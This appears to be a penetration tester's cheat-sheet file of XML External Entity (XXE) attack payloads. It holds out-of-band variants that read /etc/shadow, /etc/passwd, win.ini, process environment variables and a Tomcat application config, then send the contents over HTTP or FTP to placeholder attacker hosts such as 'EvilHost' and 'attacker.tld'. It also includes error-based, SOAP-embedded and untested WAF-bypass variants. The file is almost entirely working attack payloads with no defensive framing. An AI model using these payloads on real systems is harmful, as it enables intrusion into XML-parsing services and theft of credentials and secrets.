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xxe-attack-payloads.txt
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<!-- ~/repos/xxeserv -- http://buer.haus/xxegen/ -->
<!----------------------------------------------------------------->
<!-- Vanilla, used to verify outbound xxe or blind xxe ->
<!----------------------------------------------------------------->
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
<!----------------------------------------------------------------->
<!-- OoB extraction -->
<!----------------------------------------------------------------->
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
<!-- External dtd: -->
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
<!--------------------------------------------------------------->
OoB variation of above (seems to work better against .NET)
<!----------------------------------------------------------------> <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp;
%param1;
%exfil;
]>
<!-- External dtd: -->
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
<!-- External dtd: -->
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
<!-- External dtd: -->
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>
<!-- External dtd: -->
<!ENTITY all "%start;%stuff;%end;">
------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
<!-- External dtd: -->
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
-------------------------^ you might need to encode this % (depends on your target) as: %
--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
<!-- External dtd -->
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"